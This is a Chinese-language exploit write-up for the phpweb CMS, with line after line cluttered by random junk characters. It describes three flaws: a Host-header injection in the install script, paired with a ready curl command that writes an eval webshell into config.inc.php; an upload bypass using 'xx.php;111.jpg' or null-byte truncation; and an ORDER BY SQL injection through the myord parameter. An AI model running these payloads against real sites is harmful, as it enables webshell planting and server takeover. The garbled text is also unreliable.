注入:% h! s# h* Z. W5 J. S4 P
8 I1 T& z! E s0 B' G) L: C- c. f( l之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
; w3 d3 E/ i1 T/ Z; f& F
" n0 _% O) D0 E鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& l# h: F g q鸡肋2: 有一定安全常识的站长都会删掉 install 目录
P2 r$ g8 e K/ J' u : h$ Q2 e: \& X/ G( O- k2 l% t9 p
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响0 O# ]2 l# Q! W5 ]% a9 N
) f9 ~$ u- m/ A" S! z$ l2 u6 L* H
分析:
, O+ E9 i$ j4 z3 \7 d* @& [ 8 ?8 }3 n5 B7 x9 s; I9 c
1 h3 J) _( P* O! Z! t* [$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
; s0 o6 A% H, }' Y! Z1 \1 Y5 X
4 f0 o, N$ a6 M8 g- p7 r8 T: {# A $filestr = fread(fopen($SysConfigFile, 'r'),30000);2 F( ~3 t4 o6 q. T! E# v. I7 f
$filestr=str_replace(" ","",$filestr);
1 i9 L+ W) O r; o+ B" k! j2 c0 s $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ ?7 z2 d }( t4 E, j2 y
$filestr=str_replace("DefaultDbName",$dbname,$filestr);! u# M! t) I( |. X* u$ D
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
$ u1 W9 C0 n) y $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
/ h+ i$ ~7 F7 e) a' E7 u* D $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
F; e9 J5 ]$ K$ p9 ~) f8 @ $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" P1 z1 s: O, a( L $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);& h& j+ v& T9 G
% {) `5 a% ]: W, E# s
fwrite(fopen($ConFile,"w"),$filestr,30000);$ t8 U/ Y! R, A( Q( J7 }
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^% `# n( P0 }: i' S3 l
/ N( f9 x g( ~5 W3 ~6 G
poc:
; P! d' L* y8 P8 A( E+ c6 H
; ~' J7 n: a! r! _?
7 x% u2 `6 ~; q1
" z" U3 B# |6 ^curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 `7 h# ~; Q6 J/ f7 R8 ~7 u0 q; J
shell地址: /config.inc.php
3 ^0 p' M4 \+ j跟之前的 phpcms一样 需要远程数据库1 I+ P+ H8 E6 @' |" Q( N
1 D+ O/ {2 m5 x! V8 Y. a
——————————————————–' d* I3 w3 z8 }; k' Y4 R
上传漏洞(需要进后台):
& B# f( b+ f1 k2 l漏洞文件: /kedit/upload_cgi/upload.php; ~) p3 S* q* a7 S0 F T- }9 M. C
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用. a, h3 X _; x4 T
, H" G8 C4 B8 M3 G' l$ u
. D5 e" {# n( v
<?php8 o: P; O& e# E
define("ROOTPATH", "../../");! g3 x3 y! ~/ d3 J; m" k
include(ROOTPATH."includes/admin.inc.php");
3 ?) I! {$ A" a3 m( Y% ~ NeedAuth(0);
# [' B2 y! K' J ( V/ C6 E& A$ j' O3 V
$dt=date("Ymd",time());
9 H3 N, I3 P( [9 F" g! ` if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){- j3 W% h8 M, g2 J( {5 w- P3 a
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
( I. P; b% l" y- Q4 J }
! e5 I9 ^- Q' a) }* b2 h
0 E4 E! o* @0 r% X //文件保存目录路径
4 ?# P7 U5 ], p% f* k2 k2 B $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';+ e+ [. z6 b y" x. v9 x, q
echo $save_path;
- ~* n8 R( o1 B; A //文件保存目录URL m$ N0 |, o' B1 f, R1 u
$save_url = '../../'.$_POST['attachPath'].$dt.'/';6 r7 i+ y* X& B" K3 u
6 {7 N) V% Y' D& N
//定义允许上传的文件扩展名, t: L& U. X% y' N6 r
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀6 n' \4 S- P! x0 v2 O
; u, P. j* v' }, Q4 J
//最大文件大小( d8 ?2 R2 f# p1 B+ z3 u
$max_size = 1000000;1 z( U7 y& @& T1 t: E
9 S8 Q3 E5 J6 f3 o% p //更改目录权限
: z! h8 V* h% `! P; e G @mkdir($save_path, 0777);$ ^" U7 z2 d) E, Q6 S3 v
. a* s2 @% Q) h& I/ I: @) R //文件的全部路径
5 D( _/ d7 N% u& r0 Q $file_path = $save_path.$_POST['fileName']; //保存文件名; W2 `" [5 \1 I! g6 T
$ e9 R- p: k) D0 U | //文件URL
7 K2 [+ \ N5 o) l- \# g $file_url = $save_url.$_POST['fileName'];7 g# {9 L7 t' I, i4 D/ d
//有上传文件时+ w! a! `$ J9 y* h" {$ n. z
if (empty($_FILES) === false) {
2 U% S/ o: i$ _
0 W# k6 |2 a/ i# Q //原文件名
8 s& I: a7 H$ x$ J$ c $file_name = $_FILES['fileData']['name'];
) G- A$ C- j/ W+ `$ O //服务器上临时文件名
& q4 A' u, y, { $tmp_name = $_FILES['fileData']['tmp_name'];% ^* Z% a% l5 [" [+ T; L' ?
//文件大小9 J8 G- |1 ^: _+ q2 U, O1 V
$file_size = $_FILES['fileData']['size'];
! a @7 w5 v( G" ?: A3 C0 F a) _ //检查目录9 u8 r- n, Q" m4 p
if (@is_dir($save_path) === false) {( J( Q/ m% p) I0 M) }
alert("上传目录不存在。");
; y c; Q4 E+ X- S }
1 S2 y: a5 }% j //检查目录写权限
3 j }" I# B8 V8 J8 o: _ if (@is_writable($save_path) === false) {
: W' W* l5 ~$ x! u alert("上传目录没有写权限。");0 Y7 k6 j7 r5 S. Q- V/ j$ e, K# t! I
}+ |# Y1 P. v m, e" \
//检查是否已上传5 H; k+ q' ~2 N# `- {3 t) S
if (@is_uploaded_file($tmp_name) === false) {
& Z6 R6 p& Q# Y6 F* d, _ alert("临时文件可能不是上传文件。");
, r; Z7 [" q U9 O; {% z) K } v8 t3 c! n; ^
//检查文件大小
1 P; s. Y7 e* @ if ($file_size > $max_size) {
% O; e( A/ C2 ^" D- j! v$ |) I: D alert("上传文件大小超过限制。"); J% E$ r. w t. ], Y3 K
}2 W+ [ w5 g ?0 v F8 }
//获得文件扩展名
: j0 T) x( y6 C/ T( X $temp_arr = explode(".", $_POST['fileName']);! g( v+ T) E2 m4 n* E5 n# Z, A/ A- J
$file_ext = array_pop($temp_arr);
/ R, h6 e% A6 B% ~* E $file_ext = trim($file_ext);
4 Y' E1 j. j) r $file_ext = strtolower($file_ext);
4 M8 p! y$ O) w7 q. X
5 D; X2 Z: a" B: n( G- o7 |# b //检查扩展名
& v/ i. {# s$ C: q9 U if (in_array($file_ext, $ext_arr) === false) { 9 R% p8 V/ G/ ?2 I0 R0 E* s: n
alert("上传文件扩展名是不允许的扩展名。");' I V- b9 W1 w$ s/ W5 ~
}7 ?5 h& F1 {0 i4 K
0 i' A5 n( T; F9 h }1 w( W8 j //移动文件
% [+ `* H @5 M1 `4 M$ l+ B) C //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
2 n" U" ?% N# s# O if (move_uploaded_file($tmp_name, $file_path) === false) { S# z; U3 v3 r! T, A( X6 N& @) X
alert("上传文件失败。");
8 s. Q* k6 w) [ }
; x6 ^. E: _" U. K% s. K1 Y0 H
8 X6 }8 u& }9 I" K' V3 s4 @3 Z* x @chmod($file_path,0666);0 t0 a0 ^* M/ I Z7 J4 u
2 i( z* Y+ H- G, [( Y. \ ?>
4 [5 U/ A8 k+ w抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2275 Q( }" W) ]+ H* h3 j/ N+ I
2 [, B" E3 `+ H7 L8 G- }- n4 f3 g0 e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
# S6 E1 t9 D1 @. \
- r6 u3 {3 l# ~——————————————————
# H2 N) j/ V' ]% l, u t注入漏洞:4 j$ E# v6 l& Y& F, L$ [ G
漏洞文件:search/module/search.php+ O; a4 A; B/ k. z! M
/search/index.php?key=1&myord=1 [sqlinjection]
3 V0 K, i' u3 ~$ F( g6 R- ^) g
`5 `( z6 V) _3 k( U2 O+ [% r 9 ^9 _& L& h F0 ^+ ^( T
<?php
4 k5 h9 U m! X. @- h' H: l" D$ D# R- K // ... 省略 n 行... ?6 x( X: C# } x+ Z) Y6 n
//第18行:9 h6 R0 T1 f6 b c9 P. h1 d1 _
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
# p0 y! n ]. f1 a $page=htmlspecialchars($_GET["page"]);
9 w! C( m$ \, }2 a2 C6 q' j( K $myord=htmlspecialchars($_GET["myord"]);8 g6 O# {0 n# Y" T' @0 O- _& a
" B# J* }- q7 [) G! h0 S) @ // ... 省略 n 行...
5 W U U# A' o $key,$myord 两个参数带入查询
& V$ |( p9 C4 j% O9 t2 c$ c //第47行 $key:
5 a# W j L1 z, k7 _9 M" T
8 M- @* m, z2 Q. _% Z6 C0 H+ S $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
) ?7 z$ _8 {3 N0 w }) s 3 [8 ^; p; p# H5 ^% k( Q/ c
//第197行 $myord4 }- P, V5 R/ X6 h
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
1 o4 @/ m" \& m! P7 I @
% Q) t$ [; W5 y ?>, y' r& [3 W e$ ^& N4 A& _
|